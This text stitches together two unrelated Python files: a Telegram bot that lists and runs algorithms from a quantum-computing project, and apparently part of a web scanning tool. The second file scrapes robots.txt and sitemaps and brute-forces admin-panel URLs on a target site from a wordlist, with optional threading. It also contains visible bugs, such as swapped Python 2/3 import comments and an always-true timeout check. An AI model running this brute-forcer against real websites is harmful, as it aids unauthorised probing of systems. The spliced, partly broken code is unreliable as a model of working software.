import os from telebot import TeleBot from telebot.types import Message from telebot.types import CallbackQuery from telebot.types import ReplyKeyboardMarkup from telebot.types import InlineKeyboardMarkup from telebot.types import InlineKeyboardButton from threading import Thread from logging import getLogger class Bot(TeleBot): BUBO_CELEBRATE_STICKER_FILE_ID = "CAACAgIAAxkBAAIF6GES9nEyKUKbGVt4XFzpjOeYv09dAAIUAAPp2BMo6LwZ1x6IhdYgBA" def __init__(self, db, runner, *args, **kwargs): self.db = db self.runner = runner self.domain = os.getenv('DOMAIN') self.telegram_token = os.getenv('TELEGRAM_TOKEN') self.logger = getLogger(__name__) super().__init__(self.telegram_token, *args, parse_mode='HTML', threaded=False, **kwargs) self.register_handlers() self.log(f'BOT initiated: {self}') def log(self, message): self.logger.info(message) def start(self): polling_worker_thread = Thread(target=self.polling, daemon=True) polling_worker_thread.name = "Telegram bot polling" polling_worker_thread.start() os.environ['TELEGRAM_BOT_STATE'] = 'Running' self.log(f'BOT polling: {self}') def stop(self): self.stop_polling() os.environ['TELEGRAM_BOT_STATE'] = 'Stopped' self.log(f'BOT stop_polling: {self}') def register_handlers(self): self.message_handler(commands=['start'])(self.start_handler) self.message_handler(commands=['algorithms'])(self.algorithms_handler) self.message_handler(content_types=['sticker'])(self.sticker_handler) self.message_handler(func=lambda message: True)(self.echo_handler) get_algorithms_callback_handler = self.callback_query_handler(func=(lambda callback: callback.data.startswith("get_algorithms"))) get_algorithms_callback_handler(self.algorithms_handler) other_callback_handler = self.callback_query_handler(func=lambda callback: True) other_callback_handler(self.callback_handler) def start_handler(self, message): bot_data = self.get_me() bot_name = bot_data.first_name user_name = message.from_user.first_name self.log(f'BOT bot_data {bot_data}') self.log(f'BOT bot_name {bot_name}') self.log(f'BOT user_name {user_name}') self.log(f'BOT message.text {message.text}') self.log(f'BOT message.chat.id {message.chat.id}') github_link = f"https://github.com/ogorodnikov/m1#readme" markup = InlineKeyboardMarkup() markup.add(InlineKeyboardButton("Show algorithms ๐Ÿ”ฎ", callback_data="get_algorithms")) markup.add(InlineKeyboardButton("Project description ๐Ÿ’ ", url=github_link)) self.send_sticker(message.chat.id, Bot.BUBO_CELEBRATE_STICKER_FILE_ID) self.send_message(message.chat.id, f"{bot_name} welcomes you, {user_name}!", reply_markup=markup) def algorithms_handler(self, message_or_callback): self.log(f'BOT /algorithms') message = None if isinstance(message_or_callback, Message): message = message_or_callback elif isinstance(message_or_callback, CallbackQuery): message = message_or_callback.message self.send_message(message.chat.id, f"Algorithms:", disable_notification=True) algorithms = self.db.get_all_algorithms() for algorithm_index, algorithm in enumerate(algorithms, 1): name = algorithm['name'] algorithm_id = algorithm['id'] wiki_link = algorithm['wiki_link'] description = algorithm['description'] code_link = (f"https://github.com/ogorodnikov/m1/" f"tree/main/app/core-service/core/" f"algorithms/{algorithm_id}.py") open_callback = f"open_{algorithm_id}" like_callback = f"like_{algorithm_id}" markup = InlineKeyboardMarkup(row_width=4) markup.add(InlineKeyboardButton("Open ๐Ÿ”ฎ", callback_data=open_callback), InlineKeyboardButton("Like ๐Ÿ‘", callback_data=like_callback), InlineKeyboardButton("Wiki ๐Ÿ“–", url=wiki_link), InlineKeyboardButton("Code ๐Ÿ’ ", url=code_link)) algorithm_text = f"<b>{algorithm_index}) {name}</b>\n\n{description}" self.send_message(message.chat.id, algorithm_text, reply_markup=markup, disable_notification=True) def callback_handler(self, callback): callback_data = callback.data callback_query_id = callback.id callback_parts = callback_data.rsplit('_', maxsplit=1) self.log(f'BOT callback_data: {callback_data}') algorithm_id = callback_parts[-1] algorithm = self.db.get_algorithm(algorithm_id) flash_text = None if callback_data.startswith("like_"): self.db.like_algorithm(algorithm_id) flash_text = "Thank you!)" if callback_data.startswith("open_"): chat_id = callback.message.chat.id self.open_algorithm(chat_id, algorithm) if callback_data.startswith("run_"): run_mode = None if callback_data.startswith("run_classical_"): run_mode = 'classical' elif callback_data.startswith("run_on_simulator_"): run_mode = 'simulator' elif callback_data.startswith("run_on_quantum_device_"): run_mode = 'quantum_device' algorithm_parameters = algorithm.get('parameters') self.collect_parameters(parameters=algorithm_parameters, message=callback.message, algorithm_id=algorithm_id, run_mode=run_mode) flash_text = "Please enter parameters" if callback_data.startswith("get_algorithms"): self.algorithms_handler(callback.message) try: self.answer_callback_query(callback_query_id=callback_query_id, text=flash_text) except Exception as exception: self.log(f'BOT exception: {exception}') def open_algorithm(self, chat_id, algorithm): self.log(f'BOT open algorithm: {algorithm}') algorithm_id = algorithm.get('id') algorithm_name = algorithm.get('name') algorithm_type = algorithm.get('type') algorithm_wiki_link = algorithm.get('wiki_link') algorithm_parameters = algorithm.get('parameters') algorithm_description = algorithm.get('description') algorithm_code_link = (f"https://github.com/ogorodnikov/m1/" f"tree/main/app/core-service/core/" f"algorithms/{algorithm_id}.py") like_callback = f"like_{algorithm_id}" run_classical_callback = f"run_classical_{algorithm_id}" run_on_simulator_callback = f"run_on_simulator_{algorithm_id}" run_on_quantum_device_callback = f"run_on_quantum_device_{algorithm_id}" parameter_names = (parameter.get('name') for parameter in algorithm_parameters) parameter_names_string = ', '.join(parameter_names) text = (f"<b>{algorithm_name}</b>\n\n" f"{algorithm_description}\n\n" f"<b>Parameters:</b> {parameter_names_string}") markup = InlineKeyboardMarkup(row_width=4) if algorithm_type == 'quantum': markup.add(InlineKeyboardButton("Like ๐Ÿ‘", callback_data=like_callback), InlineKeyboardButton("Wiki ๐Ÿ“–", url=algorithm_wiki_link), InlineKeyboardButton("Code ๐Ÿ’ ", url=algorithm_code_link)) markup.add(InlineKeyboardButton("Run on Simulator ๐ŸŽฒ", callback_data=run_on_simulator_callback)) markup.add(InlineKeyboardButton("Run on Quantum Device ๐ŸŒˆ", callback_data=run_on_quantum_device_callback)) markup.add(InlineKeyboardButton("Back to algorithms๐ŸŒป", callback_data="get_algorithms")) if algorithm_type == 'classical': markup.row_width = 3 markup.add(InlineKeyboardButton("Like ๐Ÿ‘", callback_data=like_callback), InlineKeyboardButton("Wiki ๐Ÿ“–", url=algorithm_wiki_link), InlineKeyboardButton("Code ๐Ÿ’ ", url=algorithm_code_link)) markup.add(InlineKeyboardButton("Run ๐ŸŽธ", callback_data=run_classical_callback)) markup.add(InlineKeyboardButton("Back to algorithms๐ŸŒป", callback_data="get_algorithms")) self.send_message(chat_id, f"{text}", reply_markup=markup, disable_notification=True) def collect_parameters(self, message, **algorithm): chat_id = message.chat.id run_mode = algorithm.get('run_mode') parameters = algorithm.get('parameters') algorithm_id = algorithm.get('algorithm_id') collected_name = algorithm.get('collected_name') if collected_name: collected_parameters = (parameter for parameter in parameters if parameter['name'] == collected_name) collected_parameter = next(collected_parameters) collected_parameter['value'] = message.text not_collected_parameters = (parameter for parameter in parameters if 'value' not in parameter) next_parameter = next(iter(not_collected_parameters), None) self.log(f'BOT chat_id: {chat_id}') self.log(f'BOT run_mode: {run_mode}') self.log(f'BOT parameters: {parameters}') self.log(f'BOT algorithm_id: {algorithm_id}') self.log(f'BOT message.text: {message.text}') self.log(f'BOT collected_name: {collected_name}') self.log(f'BOT next_parameter: {next_parameter}') if next_parameter: self.query_next_parameter(next_parameter, chat_id, algorithm_id, run_mode, parameters) else: self.run_algorithm(chat_id, algorithm_id, run_mode, parameters) def query_next_parameter(self, next_parameter, chat_id, algorithm_id, run_mode, parameters): next_parameter_name = next_parameter.get('name') default_value = next_parameter.get('default_value') query_text = f"Please enter '{next_parameter_name}':" keyboard_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True, input_field_placeholder=query_text) keyboard_markup.add(default_value) message_response = self.send_message(chat_id, query_text, reply_markup=keyboard_markup) self.register_next_step_handler(message_response, self.collect_parameters, run_mode=run_mode, parameters=parameters, algorithm_id=algorithm_id, collected_name=next_parameter_name) def run_algorithm(self, chat_id, algorithm_id, run_mode, parameters): run_values = {parameter['name']: parameter['value'] for parameter in parameters} run_values['run_mode'] = run_mode task_id = self.runner.run_algorithm(algorithm_id, run_values) self.log(f'BOT algorithm_id: {algorithm_id}') self.log(f'BOT run_values: {run_values}') self.log(f'BOT task_id: {task_id}') task_url = f"https://{self.domain}/tasks?task_id={task_id}" run_message = (f"<b>Task {task_id} started:</b>\n\n" f"Algorithm: {algorithm_id}\n" f"Run values: {run_values}") back_callback = f"open_{algorithm_id}" like_callback = f"like_{algorithm_id}" markup = InlineKeyboardMarkup() markup.row_width = 3 markup.add(InlineKeyboardButton("Show task execution ๐Ÿ”ฎ", url=task_url)) markup.add(InlineKeyboardButton("Like ๐Ÿ‘", callback_data=like_callback)) markup.add(InlineKeyboardButton("Back to algorithm ๐ŸŒป", callback_data=back_callback)) self.send_message(chat_id, run_message, reply_markup=markup) def sticker_handler(self, message): file_id = message.sticker.file_id self.log(f'BOT sticker_handler file_id: {file_id}') self.send_sticker(message.chat.id, file_id, disable_notification=True) def echo_handler(self, message): self.log(f'BOT echo_handler message.json: {message.json}') self.reply_to(message, message.text, disable_notification=True)
__init__.py
import os import threading try: # Python 2 from urllib.request import urlopen from urllib.error import HTTPError except ImportError: # Python 3 from urllib2 import urlopen, HTTPError from requests.exceptions import ( ConnectionError, TooManyRedirects, ReadTimeout ) import lib.core.common import lib.core.settings from var.auto_issue.github import request_issue_creation def check_for_externals(url, data_sep="-" * 30, **kwargs): """ check if the URL has a robots.txt in it and collect `interesting` information out of the page """ robots = kwargs.get("robots", False) sitemap = kwargs.get("sitemap", False) verbose = kwargs.get("verbose", False) batch = kwargs.get("batch", False) ext = { robots: "/robots.txt", sitemap: "/sitemap.xml" } currently_searching = ext[robots if robots else sitemap] if verbose: lib.core.settings.logger.debug(lib.core.settings.set_color( "currently searching for a '{}'".format(currently_searching), level=10 )) try: url = lib.core.settings.replace_http(url) full_url = "{}{}{}".format("http://", url, currently_searching) _, code, data, _ = lib.core.common.get_page(full_url) except (TooManyRedirects, ConnectionError, ReadTimeout): lib.core.settings.logger.error(lib.core.settings.set_color( "connection to '{}' failed, assuming does not exist and continuing".format(full_url), level=40 )) return False if code == 404: lib.core.settings.logger.error(lib.core.settings.set_color( "unable to connect to '{}', assuming does not exist and continuing".format( full_url ), level=40 )) return False if robots: interesting = set() for line in data.split("\n"): if "Allow" in line: interesting.add(line.strip()) if len(interesting) > 0: lib.core.settings.create_tree(full_url, list(interesting)) else: question_msg = "nothing interesting found in robots.txt would you like to display the entire page" if not batch: to_display = lib.core.common.prompt( question_msg, opts="yN" ) else: to_display = lib.core.common.prompt( question_msg, opts="yN", default="n" ) if to_display.lower().startswith("y"): print( "{}\n{}\n{}".format( data_sep, data, data_sep ) ) lib.core.settings.logger.info(lib.core.settings.set_color( "robots.txt page will be saved into a file", level=25 )) return lib.core.common.write_to_log_file( data, lib.core.settings.ROBOTS_PAGE_PATH, lib.core.settings.ROBOTS_TXT_FILENAME.format( lib.core.settings.replace_http(url) ) ) elif sitemap: lib.core.settings.logger.info(lib.core.settings.set_color( "found a sitemap, saving to file", level=25 )) return lib.core.common.write_to_log_file( data, lib.core.settings.SITEMAP_FILE_LOG_PATH, lib.core.settings.SITEMAP_FILENAME.format( lib.core.settings.replace_http(url) ) ) def check_for_admin_page(url, exts, protocol="http://", **kwargs): """ bruteforce the admin page of given URL """ verbose = kwargs.get("verbose", False) show_possibles = kwargs.get("show_possibles", False) possible_connections, connections = set(), set() stripped_url = lib.core.settings.replace_http(str(url).strip()) for ext in exts: # each extension is loaded before this process begins to save time # while running this process. # it will be loaded and passed instead of loaded during. ext = ext.strip() true_url = "{}{}{}".format(protocol, stripped_url, ext) if verbose: lib.core.settings.logger.debug(lib.core.settings.set_color( "trying '{}'".format(true_url), level=10 )) try: urlopen(true_url, timeout=5) lib.core.settings.logger.info(lib.core.settings.set_color( "connected successfully to '{}'".format(true_url), level=25 )) connections.add(true_url) except HTTPError as e: data = str(e).split(" ") if verbose: if "Access Denied" in str(e): lib.core.settings.logger.warning(lib.core.settings.set_color( "got access denied, possible control panel found without external access on '{}'".format( true_url ), level=30 )) possible_connections.add(true_url) else: for error_code in lib.core.common.STATUS_CODES.iterkeys(): if int(data[2].split(":")[0]) == error_code: lib.core.settings.logger.error(lib.core.settings.set_color( "failed to connect got error code {} (reason: {})".format( data[2], lib.core.common.STATUS_CODES[error_code] ), level=40 )) except Exception as e: if verbose: if "<urlopen error timed out>" or "timeout: timed out" in str(e): lib.core.settings.logger.warning(lib.core.settings.set_color( "connection timed out assuming won't connect and skipping", level=30 )) else: lib.core.settings.logger.exception(lib.core.settings.set_color( "failed to connect with unexpected error '{}'".format(str(e)), level=50 )) request_issue_creation() possible_connections, connections = list(possible_connections), list(connections) data_msg = "found {} possible connections(s) and {} successful connection(s)" lib.core.settings.logger.info(lib.core.settings.set_color( data_msg.format(len(possible_connections), len(connections)) )) if len(connections) > 0: # create the connection tree if we got some connections lib.core.settings.logger.info(lib.core.settings.set_color( "creating connection tree" )) lib.core.settings.create_tree(url, connections) else: lib.core.settings.logger.fatal(lib.core.settings.set_color( "did not receive any successful connections to the admin page of " "{}".format(url), level=50 )) if show_possibles: if len(possible_connections) > 0: lib.core.settings.logger.info(lib.core.settings.set_color( "creating possible connection tree" )) lib.core.settings.create_tree(url, possible_connections) else: lib.core.settings.logger.fatal(lib.core.settings.set_color( "did not find any possible connections to {}'s " "admin page".format(url), level=50 )) if len(connections) > 0: lib.core.settings.logger.warning(lib.core.settings.set_color( "only writing successful connections to log file", level=30 )) lib.core.common.write_to_log_file( list(connections), lib.core.settings.ADMIN_PAGE_FILE_PATH, lib.core.settings.ADMIN_PAGE_FILENAME.format( lib.core.settings.replace_http(url) ) ) def __load_extensions(filename="{}/etc/text_files/link_ext.txt"): """ load the extensions to use from the etc/link_ext file """ # this is where the extensions are loaded from with open(filename.format(os.getcwd())) as ext: return ext.readlines() def main(url, show=False, verbose=False, **kwargs): """ main method to be called """ do_threading = kwargs.get("do_threading", False) proc_num = kwargs.get("proc_num", 5) batch = kwargs.get("batch", False) try: lib.core.settings.logger.info(lib.core.settings.set_color( "parsing robots.txt" )) results = check_for_externals(url, robots=True, batch=batch) if not results: lib.core.settings.logger.warning(lib.core.settings.set_color( "seems like this page is either blocking access to robots.txt or it does not exist", level=30 )) lib.core.settings.logger.info(lib.core.settings.set_color( "checking for a sitemap" )) check_for_externals(url, sitemap=True) lib.core.settings.logger.info(lib.core.settings.set_color( "loading extensions" )) extensions = __load_extensions() if verbose: lib.core.settings.logger.debug(lib.core.settings.set_color( "loaded a total of {} extensions".format(len(extensions)), level=10 )) lib.core.settings.logger.info(lib.core.settings.set_color( "attempting to bruteforce admin panel" )) if do_threading: lib.core.settings.logger.warning(lib.core.settings.set_color( "starting {} threads, you will not be able to end the process until " "it is completed".format(proc_num), level=30 )) tasks = [] for _ in range(0, proc_num): t = threading.Thread(target=check_for_admin_page, args=(url, extensions), kwargs={ "verbose": verbose, "show_possibles": show }) t.daemon = True tasks.append(t) for thread in tasks: thread.start() thread.join() else: check_for_admin_page(url, extensions, show_possibles=show, verbose=verbose) except KeyboardInterrupt: if not lib.core.common.pause(): lib.core.common.shutdown()